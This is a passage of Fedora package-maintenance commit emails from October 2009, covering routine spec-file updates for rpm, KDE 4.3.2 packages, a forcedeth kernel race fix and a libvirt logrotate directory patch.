@@ -47,9 +47,11 @@ Patch204: rpm-4.7.1-chroot-env-paths.pat
 Patch205: rpm-4.7.1-rpm2cpio-init.patch
 Patch206: rpm-4.7.1-filedep-dnevr.patch
 Patch207: rpm-4.7.1-chroot-remove-env.patch
+Patch208: rpm-4.7.1-remove-db4-xa.patch
+Patch209: rpm-4.7.1-perl-heredoc.patch
+Patch210: rpm-4.7.0-extra-provides.patch
 
 # These are not yet upstream
-Patch300: rpm-4.7.0-extra-provides.patch
 Patch301: rpm-4.6.0-niagara.patch
 Patch302: rpm-4.7.1-geode-i686.patch
 
@@ -208,8 +210,10 @@ packages on a system.
 %patch205 -p1 -b .rpm2cpio.init
 %patch206 -p1 -b .filedep-dnevr
 %patch207 -p1 -b .chroot-remove-env
+%patch208 -p1 -b .remove-db4-xa
+%patch209 -p1 -b .perl-heredoc
+%patch210 -p1 -b .extra-prov
 
-%patch300 -p1 -b .extra-prov
 %patch301 -p1 -b .niagara
 %patch302 -p1 -b .geode
 
@@ -423,6 +427,10 @@ exit 0
 %doc doc/librpm/html/*
 
 %changelog
+* Tue Oct 06 2009 Panu Matilainen <pmatilai at redhat.com> - 4.7.1-7
+- fix build with BDB 4.8.x by removing XA "support" from BDB backend 
+- perl dep extractor heredoc parsing improvements (#524929)
+
 * Mon Sep 21 2009 Panu Matilainen <pmatilai at redhat.com> - 4.7.1-6
 - use relative paths within db environment (related to #507309, #507309...)
 - remove db environment on close in chrooted operation (related to above)



From ltinkl at fedoraproject.org  Tue Oct  6 12:35:06 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 12:35:06 +0000 (UTC)
Subject: rpms/kdeaccessibility/F-10 .cvsignore, 1.39,
	1.40 kdeaccessibility.spec, 1.69, 1.70 sources, 1.42, 1.43
Message-ID: <20091006123506.54C0511C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeaccessibility/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26115/F-10

Modified Files:
	.cvsignore kdeaccessibility.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeaccessibility/F-10/.cvsignore,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- .cvsignore	1 Sep 2009 12:40:49 -0000	1.39
+++ .cvsignore	6 Oct 2009 12:35:06 -0000	1.40
@@ -1 +1,2 @@
 kdeaccessibility-4.3.1.tar.bz2
+kdeaccessibility-4.3.2.tar.bz2


Index: kdeaccessibility.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeaccessibility/F-10/kdeaccessibility.spec,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- kdeaccessibility.spec	1 Sep 2009 12:40:49 -0000	1.69
+++ kdeaccessibility.spec	6 Oct 2009 12:35:06 -0000	1.70
@@ -1,7 +1,7 @@
 Summary:        K Desktop Environment - Accessibility
 Name:           kdeaccessibility
 Epoch:          1
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 
 Group:          User Interface/Desktops
@@ -143,6 +143,9 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeaccessibility/F-10/sources,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- sources	1 Sep 2009 12:40:49 -0000	1.42
+++ sources	6 Oct 2009 12:35:06 -0000	1.43
@@ -1 +1 @@
-82f2175329c87b84a25be586b69d6b25  kdeaccessibility-4.3.1.tar.bz2
+52ab06324f1d47ce5d14638e74b206ed  kdeaccessibility-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Tue Oct  6 12:35:06 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 12:35:06 +0000 (UTC)
Subject: rpms/kdeaccessibility/F-11 .cvsignore, 1.43,
	1.44 kdeaccessibility.spec, 1.82, 1.83 sources, 1.44, 1.45
Message-ID: <20091006123506.A28FA11C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeaccessibility/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26115/F-11

Modified Files:
	.cvsignore kdeaccessibility.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeaccessibility/F-11/.cvsignore,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- .cvsignore	1 Sep 2009 12:40:50 -0000	1.43
+++ .cvsignore	6 Oct 2009 12:35:06 -0000	1.44
@@ -1 +1,2 @@
 kdeaccessibility-4.3.1.tar.bz2
+kdeaccessibility-4.3.2.tar.bz2


Index: kdeaccessibility.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeaccessibility/F-11/kdeaccessibility.spec,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- kdeaccessibility.spec	1 Sep 2009 12:40:50 -0000	1.82
+++ kdeaccessibility.spec	6 Oct 2009 12:35:06 -0000	1.83
@@ -1,7 +1,7 @@
 Summary:        K Desktop Environment - Accessibility
 Name:           kdeaccessibility
 Epoch:          1
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 
 Group:          User Interface/Desktops
@@ -143,6 +143,9 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeaccessibility/F-11/sources,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- sources	1 Sep 2009 12:40:50 -0000	1.44
+++ sources	6 Oct 2009 12:35:06 -0000	1.45
@@ -1 +1 @@
-82f2175329c87b84a25be586b69d6b25  kdeaccessibility-4.3.1.tar.bz2
+52ab06324f1d47ce5d14638e74b206ed  kdeaccessibility-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Tue Oct  6 12:36:49 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 12:36:49 +0000 (UTC)
Subject: rpms/kdeadmin/F-10 .cvsignore, 1.60, 1.61 kdeadmin.spec, 1.123,
	1.124 sources, 1.64, 1.65
Message-ID: <20091006123649.1E6D211C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeadmin/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26654/F-10

Modified Files:
	.cvsignore kdeadmin.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeadmin/F-10/.cvsignore,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- .cvsignore	1 Sep 2009 12:42:03 -0000	1.60
+++ .cvsignore	6 Oct 2009 12:36:48 -0000	1.61
@@ -1 +1 @@
-kdeadmin-4.3.1.tar.bz2
+kdeadmin-4.3.2.tar.bz2


Index: kdeadmin.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeadmin/F-10/kdeadmin.spec,v
retrieving revision 1.123
retrieving revision 1.124
diff -u -p -r1.123 -r1.124
--- kdeadmin.spec	1 Sep 2009 12:42:03 -0000	1.123
+++ kdeadmin.spec	6 Oct 2009 12:36:48 -0000	1.124
@@ -6,7 +6,7 @@
 Name:           kdeadmin
 Summary:        K Desktop Environment - Administrative tools
 Epoch:          7
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 
 Group:          User Interface/Desktops
@@ -159,6 +159,9 @@ fi
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeadmin/F-10/sources,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- sources	1 Sep 2009 12:42:03 -0000	1.64
+++ sources	6 Oct 2009 12:36:48 -0000	1.65
@@ -1 +1 @@
-e946d243d0e6e1fdbb24c732acca9c1e  kdeadmin-4.3.1.tar.bz2
+f547b55cf912f1437ebd2fd7e5059fe4  kdeadmin-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Tue Oct  6 12:36:49 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 12:36:49 +0000 (UTC)
Subject: rpms/kdeadmin/F-11 .cvsignore, 1.64, 1.65 kdeadmin.spec, 1.136,
	1.137 sources, 1.65, 1.66
Message-ID: <20091006123649.5F8ED11C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeadmin/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26654/F-11

Modified Files:
	.cvsignore kdeadmin.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeadmin/F-11/.cvsignore,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- .cvsignore	1 Sep 2009 12:42:03 -0000	1.64
+++ .cvsignore	6 Oct 2009 12:36:49 -0000	1.65
@@ -1 +1 @@
-kdeadmin-4.3.1.tar.bz2
+kdeadmin-4.3.2.tar.bz2


Index: kdeadmin.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeadmin/F-11/kdeadmin.spec,v
retrieving revision 1.136
retrieving revision 1.137
diff -u -p -r1.136 -r1.137
--- kdeadmin.spec	1 Sep 2009 12:42:03 -0000	1.136
+++ kdeadmin.spec	6 Oct 2009 12:36:49 -0000	1.137
@@ -6,7 +6,7 @@
 Name:           kdeadmin
 Summary:        K Desktop Environment - Administrative tools
 Epoch:          7
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 
 Group:          User Interface/Desktops
@@ -159,6 +159,9 @@ fi
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeadmin/F-11/sources,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- sources	1 Sep 2009 12:42:03 -0000	1.65
+++ sources	6 Oct 2009 12:36:49 -0000	1.66
@@ -1 +1 @@
-e946d243d0e6e1fdbb24c732acca9c1e  kdeadmin-4.3.1.tar.bz2
+f547b55cf912f1437ebd2fd7e5059fe4  kdeadmin-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Tue Oct  6 12:36:49 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 12:36:49 +0000 (UTC)
Subject: rpms/kdeadmin/devel .cvsignore,1.68,1.69
Message-ID: <20091006123649.7FB7211C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeadmin/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26654/devel

Modified Files:
	.cvsignore 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeadmin/devel/.cvsignore,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- .cvsignore	4 Oct 2009 09:38:32 -0000	1.68
+++ .cvsignore	6 Oct 2009 12:36:49 -0000	1.69
@@ -1,2 +1 @@
-kdeadmin-4.3.1.tar.bz2
 kdeadmin-4.3.2.tar.bz2



From cebbert at fedoraproject.org  Tue Oct  6 12:37:23 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Tue,  6 Oct 2009 12:37:23 +0000 (UTC)
Subject: rpms/kernel/F-11 forcedeth-fix-napi-race.patch, NONE,
	1.1 kernel.spec, 1.1754, 1.1755
Message-ID: <20091006123723.C081311C00C1@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26928

Modified Files:
	kernel.spec 
Added Files:
	forcedeth-fix-napi-race.patch 
Log Message:
fix race in forcedeth network driver (#526546)

forcedeth-fix-napi-race.patch:
 forcedeth.c |   25 ++++++++++++++-----------
 1 file changed, 14 insertions(+), 11 deletions(-)

--- NEW FILE forcedeth-fix-napi-race.patch ---
From: Eric Dumazet <eric.dumazet at gmail.com>
Date: Thu, 2 Jul 2009 04:04:45 +0000 (+0000)
Subject: forcedeth: Fix NAPI race.
X-Git-Tag: v2.6.31-rc3~40^2~17
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=78c29bd95bd8d2c3bcf7932cb3ab8ae01cd8f58f

forcedeth: Fix NAPI race.

Eric Dumazet a ??crit :
> Ingo Molnar a ??crit :
>>> The following changes since commit 52989765629e7d182b4f146050ebba0abf2cb0b7:
>>>   Linus Torvalds (1):
>>>         Merge git://git.kernel.org/.../davem/net-2.6
>>>
>>> are available in the git repository at:
>>>
>>>   master.kernel.org:/pub/scm/linux/kernel/git/davem/net-2.6.git master
>> Hm, something in this lot quickly wrecked networking here - see the
>> tx timeout dump below. It starts with:
>>
>> [  351.004596] WARNING: at net/sched/sch_generic.c:246 dev_watchdog+0x10b/0x19c()
>> [  351.011815] Hardware name: System Product Name
>> [  351.016220] NETDEV WATCHDOG: eth0 (forcedeth): transmit queue 0 timed out
>>
>> Config attached. Unfortunately i've got no time to do bisection
>> today.
>
>
>
> forcedeth might have a problem, in its netif_wake_queue() logic, but
> I could not see why a recent patch could make this problem visible now.
>
> CPU0/1: AMD Athlon(tm) 64 X2 Dual Core Processor 3800+ stepping 02
> is not a new cpu either :)
>
> forcedeth uses an internal tx_stop without appropriate barrier.
>
> Could you try following patch ?
>
> (random guess as I dont have much time right now)

We might have a race in napi_schedule(), leaving interrupts disabled forever.
I cannot test this patch, I dont have the hardware...

Tested-by: Ingo Molnar <mingo at elte.hu>

Signed-off-by: David S. Miller <davem at davemloft.net>
---

diff --git a/drivers/net/forcedeth.c b/drivers/net/forcedeth.c
index 1094d29..3b4e076 100644
--- a/drivers/net/forcedeth.c
+++ b/drivers/net/forcedeth.c
@@ -3496,11 +3496,13 @@ static irqreturn_t nv_nic_irq(int foo, void *data)
 	nv_msi_workaround(np);
 
 #ifdef CONFIG_FORCEDETH_NAPI
-	napi_schedule(&np->napi);
-
-	/* Disable furthur irq's
-	   (msix not enabled with napi) */
-	writel(0, base + NvRegIrqMask);
+	if (napi_schedule_prep(&np->napi)) {
+		/*
+		 * Disable further irq's (msix not enabled with napi)
+		 */
+		writel(0, base + NvRegIrqMask);
+		__napi_schedule(&np->napi);
+	}
 
 #else
 	do
@@ -3597,12 +3599,13 @@ static irqreturn_t nv_nic_irq_optimized(int foo, void *data)
 	nv_msi_workaround(np);
 
 #ifdef CONFIG_FORCEDETH_NAPI
-	napi_schedule(&np->napi);
-
-	/* Disable furthur irq's
-	   (msix not enabled with napi) */
-	writel(0, base + NvRegIrqMask);
-
+	if (napi_schedule_prep(&np->napi)) {
+		/*
+		 * Disable further irq's (msix not enabled with napi)
+		 */
+		writel(0, base + NvRegIrqMask);
+		__napi_schedule(&np->napi);
+	}
 #else
 	do
 	{


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1754
retrieving revision 1.1755
diff -u -p -r1.1754 -r1.1755
--- kernel.spec	6 Oct 2009 12:23:53 -0000	1.1754
+++ kernel.spec	6 Oct 2009 12:37:23 -0000	1.1755
@@ -685,6 +685,9 @@ Patch1826: drm-i915-enable-mchbar.patch
 # kludge to make ich9 e1000 work
 Patch2000: linux-2.6-e1000-ich9.patch
 
+# fix forcedeth race (#526546)
+Patch2010: forcedeth-fix-napi-race.patch
+
 # linux1394 git patches
 Patch2200: linux-2.6-firewire-git-update.patch
 Patch2201: linux-2.6-firewire-git-pending.patch
@@ -1295,6 +1298,9 @@ ApplyPatch linux-2.6-neigh_-fix-state-tr
 # add ich9 lan
 ApplyPatch linux-2.6-e1000-ich9.patch
 
+# fix forcedeth race
+ApplyPatch forcedeth-fix-napi-race.patch
+
 # Virt Fixes
 # Xen Guest
 ApplyPatch linux-2.6-xen-fix-brkpoints-hw-watchpoints.patch
@@ -2026,6 +2032,9 @@ fi
 # and build.
 
 %changelog
+* Tue Oct 06 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-76
+- fix race in forcedeth network driver (#526546)
+
 * Tue Oct 06 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-75
 - x86: Don't leak 64-bit reg contents to 32-bit tasks.
 



From ltinkl at fedoraproject.org  Tue Oct  6 12:38:05 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 12:38:05 +0000 (UTC)
Subject: rpms/kdeartwork/F-10 .cvsignore, 1.56, 1.57 kdeartwork.spec, 1.103, 
	1.104 sources, 1.61, 1.62
Message-ID: <20091006123805.D912911C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeartwork/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27125/F-10

Modified Files:
	.cvsignore kdeartwork.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeartwork/F-10/.cvsignore,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- .cvsignore	1 Sep 2009 12:47:21 -0000	1.56
+++ .cvsignore	6 Oct 2009 12:38:05 -0000	1.57
@@ -1 +1 @@
-kdeartwork-4.3.1.tar.bz2
+kdeartwork-4.3.2.tar.bz2


Index: kdeartwork.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeartwork/F-10/kdeartwork.spec,v
retrieving revision 1.103
retrieving revision 1.104
diff -u -p -r1.103 -r1.104
--- kdeartwork.spec	2 Sep 2009 14:43:31 -0000	1.103
+++ kdeartwork.spec	6 Oct 2009 12:38:05 -0000	1.104
@@ -1,5 +1,5 @@
 Name:           kdeartwork
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 Summary:        Additional artwork for KDE
 
@@ -59,6 +59,7 @@ Group:   User Interface/Desktops
 %description -n kde-style-phase
 %{summary}.
 
+%if 0%{?fedora}
 %package screensavers
 Summary: Extra screensavers for KDE
 Group: Amusements/Graphics
@@ -69,6 +70,7 @@ Requires:      xscreensaver-extras xscre
 Requires: %{name}-kxs = %{version}-%{release}
 %description screensavers
 %{summary}.
+%endif
 
 %package kxs
 Summary: Support for xscreensaver-based screensavers
@@ -101,10 +103,12 @@ BuildArch: noarch
 
 %build
 
+%if 0%{?fedora}
 # create missing xscreensavers desktop files
 if [ -f kscreensaver/kxsconfig/screensaver.sh ] ; then
  sh kscreensaver/kxsconfig/screensaver.sh
 fi
+%endif
 
 mkdir -p %{_target_platform}
 pushd %{_target_platform}
@@ -189,12 +193,14 @@ fi
 %{_kde4_bindir}/kxsconfig
 %{_kde4_bindir}/kxsrun
 
+%if 0%{?fedora}
 %files screensavers
 %defattr(-,root,root,-)
 %{_kde4_appsdir}/kfiresaver/
 %{_kde4_appsdir}/kscreensaver/
 %{_kde4_bindir}/*.kss
 %{_kde4_datadir}/kde4/services/ScreenSavers/*
+%endif
 
 %files sounds
 %defattr(-,root,root,-)
@@ -206,6 +212,12 @@ fi
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
+* Mon Sep 28 2009 Than Ngo <than at redhat.com> - 4.3.1-2
+- rhel cleanup
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 - add missing screensavers bz#472886


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeartwork/F-10/sources,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- sources	1 Sep 2009 12:47:21 -0000	1.61
+++ sources	6 Oct 2009 12:38:05 -0000	1.62
@@ -1 +1 @@
-9dbb00b76968658a7337e839fa342230  kdeartwork-4.3.1.tar.bz2
+e4e51be6fe0eaf1290604884a64d28a3  kdeartwork-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Tue Oct  6 12:38:06 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 12:38:06 +0000 (UTC)
Subject: rpms/kdeartwork/F-11 .cvsignore, 1.62, 1.63 kdeartwork.spec, 1.111, 
	1.112 sources, 1.63, 1.64
Message-ID: <20091006123806.4D29411C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeartwork/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27125/F-11

Modified Files:
	.cvsignore kdeartwork.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeartwork/F-11/.cvsignore,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- .cvsignore	1 Sep 2009 12:47:21 -0000	1.62
+++ .cvsignore	6 Oct 2009 12:38:05 -0000	1.63
@@ -1 +1 @@
-kdeartwork-4.3.1.tar.bz2
+kdeartwork-4.3.2.tar.bz2


Index: kdeartwork.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeartwork/F-11/kdeartwork.spec,v
retrieving revision 1.111
retrieving revision 1.112
diff -u -p -r1.111 -r1.112
--- kdeartwork.spec	2 Sep 2009 14:42:21 -0000	1.111
+++ kdeartwork.spec	6 Oct 2009 12:38:06 -0000	1.112
@@ -1,5 +1,5 @@
 Name:           kdeartwork
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 Summary:        Additional artwork for KDE
 
@@ -59,6 +59,7 @@ Group:   User Interface/Desktops
 %description -n kde-style-phase
 %{summary}.
 
+%if 0%{?fedora}
 %package screensavers
 Summary: Extra screensavers for KDE
 Group: Amusements/Graphics
@@ -69,6 +70,7 @@ Requires:      xscreensaver-extras xscre
 Requires: %{name}-kxs = %{version}-%{release}
 %description screensavers
 %{summary}.
+%endif
 
 %package kxs
 Summary: Support for xscreensaver-based screensavers
@@ -101,10 +103,12 @@ BuildArch: noarch
 
 %build
 
+%if 0%{?fedora}
 # create missing xscreensavers desktop files
 if [ -f kscreensaver/kxsconfig/screensaver.sh ] ; then
  sh kscreensaver/kxsconfig/screensaver.sh
 fi
+%endif
 
 mkdir -p %{_target_platform}
 pushd %{_target_platform}
@@ -189,12 +193,14 @@ fi
 %{_kde4_bindir}/kxsconfig
 %{_kde4_bindir}/kxsrun
 
+%if 0%{?fedora}
 %files screensavers
 %defattr(-,root,root,-)
 %{_kde4_appsdir}/kfiresaver/
 %{_kde4_appsdir}/kscreensaver/
 %{_kde4_bindir}/*.kss
 %{_kde4_datadir}/kde4/services/ScreenSavers/*
+%endif
 
 %files sounds
 %defattr(-,root,root,-)
@@ -206,6 +212,12 @@ fi
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
+* Mon Sep 28 2009 Than Ngo <than at redhat.com> - 4.3.1-2
+- rhel cleanup
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 - add missing screensavers bz#472886


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeartwork/F-11/sources,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- sources	1 Sep 2009 12:47:21 -0000	1.63
+++ sources	6 Oct 2009 12:38:06 -0000	1.64
@@ -1 +1 @@
-9dbb00b76968658a7337e839fa342230  kdeartwork-4.3.1.tar.bz2
+e4e51be6fe0eaf1290604884a64d28a3  kdeartwork-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Tue Oct  6 12:38:06 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 12:38:06 +0000 (UTC)
Subject: rpms/kdeartwork/devel .cvsignore,1.66,1.67
Message-ID: <20091006123806.780B211C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeartwork/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27125/devel

Modified Files:
	.cvsignore 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeartwork/devel/.cvsignore,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- .cvsignore	4 Oct 2009 09:52:34 -0000	1.66
+++ .cvsignore	6 Oct 2009 12:38:06 -0000	1.67
@@ -1,2 +1 @@
-kdeartwork-4.3.1.tar.bz2
 kdeartwork-4.3.2.tar.bz2



From markmc at fedoraproject.org  Tue Oct  6 12:42:17 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Tue,  6 Oct 2009 12:42:17 +0000 (UTC)
Subject: rpms/libvirt/F-12 libvirt-logrotate-create-lxc-uml-dirs.patch, NONE,
	1.1 libvirt.spec, 1.187, 1.188
Message-ID: <20091006124217.2E49A11C00C1@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28569

Modified Files:
	libvirt.spec 
Added Files:
	libvirt-logrotate-create-lxc-uml-dirs.patch 
Log Message:
* Tue Oct  6 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-10
- Create /var/log/libvirt/{lxc,uml} dirs for logrotate
- Make libvirt-python dependon on libvirt-client
- Sync misc minor changes from upstream spec


libvirt-logrotate-create-lxc-uml-dirs.patch:
 Makefile.am |    7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

--- NEW FILE libvirt-logrotate-create-lxc-uml-dirs.patch ---
>From b7e3ac4f23befe67518b57e34691c301820a436c Mon Sep 17 00:00:00 2001
From: Mark McLoughlin <markmc at redhat.com>
Date: Tue, 6 Oct 2009 12:33:17 +0100
Subject: [PATCH] Create /var/log/libvirt/{lxc,uml} dirs

Otherwise logrotate barfs:

  error: error accessing /var/log/libvirt/uml: No such file or directory
  error: libvirtd:1 glob failed for /var/log/libvirt/uml/*.log
  error: found error in /var/log/libvirt/qemu/*.log /var/log/libvirt/uml/*.log /var/log/libvirt/lxc/*.log , skipping

* qemud/Makefile.am: always create /var/log/libvirt/{lxc,uml} when
  installing the logrotate conf; not ideal, but easier than making
  the logrotate conf depend on which drivers are enabled

Fedora-patch: libvirt-logrotate-create-lxc-uml-dirs.patch
---
 qemud/Makefile.am |    6 ++++--
 1 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/qemud/Makefile.am b/qemud/Makefile.am
index 3d143da..a7f4bdf 100644
--- a/qemud/Makefile.am
+++ b/qemud/Makefile.am
@@ -176,7 +176,7 @@ install-data-local: install-init install-data-sasl install-data-polkit \
 	test -e $(DESTDIR)$(sysconfdir)/libvirt/qemu/networks/autostart/default.xml || \
            ln -s ../default.xml \
 	    $(DESTDIR)$(sysconfdir)/libvirt/qemu/networks/autostart/default.xml
-	mkdir -p $(DESTDIR)$(localstatedir)/log/libvirt/qemu
+	mkdir -p $(DESTDIR)$(localstatedir)/log/libvirt
 	mkdir -p $(DESTDIR)$(localstatedir)/run/libvirt
 	mkdir -p $(DESTDIR)$(localstatedir)/lib/libvirt
 
@@ -184,7 +184,7 @@ uninstall-local:: uninstall-init uninstall-data-sasl install-data-polkit
 	rm -f $(DESTDIR)$(sysconfdir)/libvirt/qemu/networks/autostart/default.xml
 	rm -f $(DESTDIR)$(sysconfdir)/$(default_xml_dest)
 	rmdir $(DESTDIR)$(sysconfdir)/libvirt/qemu/networks/autostart || :
-	rmdir $(DESTDIR)$(localstatedir)/log/libvirt/qemu || :
+	rmdir $(DESTDIR)$(localstatedir)/log/libvirt || :
 	rmdir $(DESTDIR)$(localstatedir)/run/libvirt || :
 	rmdir $(DESTDIR)$(localstatedir)/lib/libvirt || :
 
@@ -240,6 +240,8 @@ libvirtd.logrotate: libvirtd.logrotate.in
 
 install-logrotate: libvirtd.logrotate
 	mkdir -p $(DESTDIR)$(localstatedir)/log/libvirt/qemu/
+	mkdir -p $(DESTDIR)$(localstatedir)/log/libvirt/lxc/
+	mkdir -p $(DESTDIR)$(localstatedir)/log/libvirt/uml/
 	mkdir -p $(DESTDIR)$(sysconfdir)/logrotate.d/
 	$(INSTALL_DATA) $< $(DESTDIR)$(sysconfdir)/logrotate.d/libvirtd
 
-- 
1.6.2.5



Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/F-12/libvirt.spec,v
retrieving revision 1.187
retrieving revision 1.188
diff -u -p -r1.187 -r1.188
--- libvirt.spec	6 Oct 2009 09:43:52 -0000	1.187
+++ libvirt.spec	6 Oct 2009 12:42:16 -0000	1.188
@@ -22,14 +22,14 @@
 %endif
 
 
-# Now set the defaults for all the important features, independant
+# Now set the defaults for all the important features, independent
 # of any particular OS
 
 # First the daemon itself
 %define with_libvirtd      0%{!?_without_libvirtd:%{server_drivers}}
